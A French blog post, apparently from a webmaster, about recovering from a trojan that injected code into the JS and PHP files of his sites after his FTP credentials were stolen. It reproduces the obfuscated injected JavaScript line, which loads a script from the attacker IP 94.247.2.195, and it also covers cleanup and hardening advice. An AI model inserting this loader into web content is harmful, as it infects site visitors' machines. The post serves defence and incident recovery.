Votre site a été piraté par 94.247.2.195 : tous les fichiers JS et PHP sont attaqués

Satané Trojan à la @#^\§*. Je viens de passer 24h quasi sans dormir ni manger pour trouver la solution ! Ce malotru m’a infecté une dizaine de sites (pro, sinon c’est pas drôle), avec à la clé des milliers de fichiers à remettre à jour… Sur ce sujet qui traîne depuis début avril, il y a bien des infos éparses sur le Web mais aucune piste claire. Mais les Lettons n’auront pas le dernier mot !
 
Pour ceux d’entre vous qui ont vu leur site hacké récemment par le Trojan Iframe Exploit, j’ai enfin compris le problème… et je pense avoir réussi à m’en protéger. Si vous avez subi cette attaque, voici des pistes pour vous en sortir.


Satané Trojan à la @#^\§*. Je viens de passer 24h quasi sans dormir ni manger pour trouver la solution ! Ce malotru m’a infecté une dizaine de sites (pro, sinon c’est pas drôle), avec à la clé des milliers de fichiers à remettre à jour… Sur ce sujet qui traîne depuis début avril, il y a bien des infos éparses sur le Web mais aucune piste claire. Mais les Lettons n’auront pas le dernier mot !
 
Pour ceux d’entre vous qui ont vu leur site hacké récemment par le Trojan Iframe Exploit, j’ai enfin compris le problème… et je pense avoir réussi à m’en protéger. Si vous avez subi cette attaque, voici des pistes pour vous en sortir.

Les symptômes

1. un navigateur qui ralentit

Le sites hackés causent un ralentissement du PC, et surchargent la mémoire de Firefox lorsque vous les visitez. En toute discrétion, ils lancent un processus Adobe Reader qui tente d’exploiter une faille (buffer overflow) ancienne et souvent active lorsque votre Adobe Reader n’est pas à jour. Il ouvre ensuite une porte pour tous les virus de la terre, trop contents de venir s’éclater ensemble.

2. des fichiers JS vérolés

Le comportement du site est causé par des fichiers javascript vérolés. A la fin de chacun de vos fichiers JS (mais également dans les balises script de vos fichiers HTML ou templates), on trouve en effet un bout de code entre commentaires : <!--
document.write(unescape('h2T%3CscrILipt%20Nwsrc20%3D%2F%2F9tF4%2E2Nw4720%2E7652tF%2E195%2F20j765qNwuh2TeILry%2ENwj20sr5%3E765%3C%2Fsh2TcILrr5ipILt%3E').replace(/is|r5|tF|Nw|ay2|20|IL|765|h2T/g,""));
-->
qui envoie des requêtes vers un serveur situé en Lettonie (l’ip du site est 94.247.2.195) en essayant de charger un faux jquery. Mais comment les javascripts ont-ils pu être changés sur mon serveur ?

3. des fichiers PHP modifiés

Les fichiers JS et HTML ont été modifiés par mes scripts PHP ou includes, qui possèdent une ligne supplémentaire au tout début. Elle commence par <?php if(!function_exists('tmp_lkojfghx')  et se termine une fonction tmp_lkojfghx2(); qui exécute le tout.
Tous les fichiers comportant le terme index (index.php), config (config.inc), password, db, sql ou inc sont touchés, dans les limites de l’arborescence permise par le FTP. J’ai des centaines de fichiers infectés, c’est le drame !

Comment mon site a-t-il été hacké ?

Un vol de codes FTP

Après avoir cherché comment les fichiers avaient été modifiés, j’ai découvert que quelques minutes avant l’heure de modification des fichiers (liste qu’on obtient avec la commande find . -ctime -1 -name \*.php -ls),  une connexion FTP d’Allemagne jamais vue avait été effectuée sur mon serveur. Il n’y a pas eu 5000 tentatives de cassage en brute force, juste un login réussi. Le vilain a donc eu accès au serveur en FTP, et répandu ses bouts de code automatiquement dans tous les fichiers script concernés.

Comment a-t-il procédé ?

J’ai pensé à tout, et lu toutes sortes de spéculations sur le Web : injection SQL, cross site scripting, faille de CMS, faille de FTP, versions de serveur pas à jour.

J’ai mis du temps à faire le lien entre les plantages répétés de mon ordinateur portable de bureau dans Filezilla et les accès FTP. BON SANG MAIS C’ETAIT BIEN SUR : le Trojan était sur mon poste. C’était un keylogger ou un sniffer, un logiciel qui intercepte les données tapées au clavier ou échangées en clair sur le réseau pour récupérer des infos critiques… comme des mots de passe FTP. Pas étonnant que mon deuxième serveur, jusqu’ici épargné, et avec une architecture différente (PHP5.2 au lieu de 4.0, Debian Etch au lieu de Sarge, logiciel pure-FTPD au lieu de ProFTPD) soit attaqué quelques heures après par le même serveur allemand.

En réalité j’avais chopé ce Trojan sur un site quelques heures avant et il lui a suffi « d’écouter » mes échanges FTP pour récupérer mes codes.

Plan d’actions

1. Bloquer le serveur

Votre site envoie des virus au monde entier. Il serait sympathique pour tout le monde de l’arrêter. Soit en renommant les racines des sites de www en temp_www (facile si on a accès au niveau supérieur à www) soit en mettant des Deny from all dans le .htaccess à la racine du site.

2. Nettoyer votre PC infecté

Si vous ne faites rien pour nettoyer votre ordinateur, ses accès FTP (et autres données sensibles) continueront à être interceptées par le trojan. Utilisez MalwareBytes (dernière version), ajoutez un coup de Spybot ou Antivir au cas où.
NB : pour savoir si un PC est infecté, ouvrez la base de registres (Démarrer > Exécuter > regedit) et trouvez la clé HKEY_LOCAL_MACHINES > Software > Microsoft > Windows NT > Current Version > Drivers32. Le trojan installe son keylogger comme un pilote audio auxiliaire (aux, aux2, aux:…). Au lieu d’avoir un nom de fichier type wmaud.drv, vous trouverez c:\windows\..\system32\[un nom au hasard, ex. zkezqt.dfr]. Le fichier en question est en fait dans c:\windows et peut s’effacer, mais cela ne suffira pas à nettoyer la machine.

4. Bloquer l’accès au FTP

Modifier les mots de passe FTP, c’est indispensable mais seulement une fois qu’on est sûr que le keylogger ne va pas nous espionner à nouveau.

Autre bonne pratique qui n’était (bizarrement) pas en place chez mes deux hébergeurs : le filtrage des FTP par IP. Dans la plupart des cas, seul l’admin du site a besoin d’un accès FTP, et il disposera généralement d’une IP fixe. En implémentant un filtrage par IP de type whitelist (on bloque tout sauf une sélection d’IP autorisées) côté serveur, les codes d’accès ne suffiront pas pour modifier le site. Cela se fait via le firewall de votre hébergeur, les iptables ou la configuration de votre serveur FTP.

3. Remettre des fichiers sains

Pour remettre le site en ligne, le mieux est d’avoir un sauvegarde rsync chez l’hébergeur pour remettre en route le site rapidement. Si vous avez une copie locale, il va falloir TOUT réuploader, ce qui peut être très long. Solution bourrine pour les experts de la ligne de commande : faire un rechercher-remplacer avec des find, des grep et des sed, mais c’est compliqué et risqué.

4. Derniers conseils :

mettez à jour votre Adobe Reader sur les postes client
mettez à jour votre Firefox (automatiquement, c’est mieux)
restreignez autant que possible les droits d’accès de chaque compte FTP : en volant un code unique, on ne doit pas avoir accès à tous les sites d’un serveur

Voilà, j’espère que ces quelques pistes vous éviteront la galère que je viens de vivre. Si vous avez d’autres éléments d’information, n’hésitez pas à les communiquer, je complèterai.

Outil de référencement professionnel - essai gratuit Ce contenu a été publié dans Développement PHP, avec comme mot(s)-clé(s) , , , , . Vous pouvez le mettre en favoris avec ce permalien.

9 réponses à Votre site a été piraté par 94.247.2.195 : tous les fichiers JS et PHP sont attaqués

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *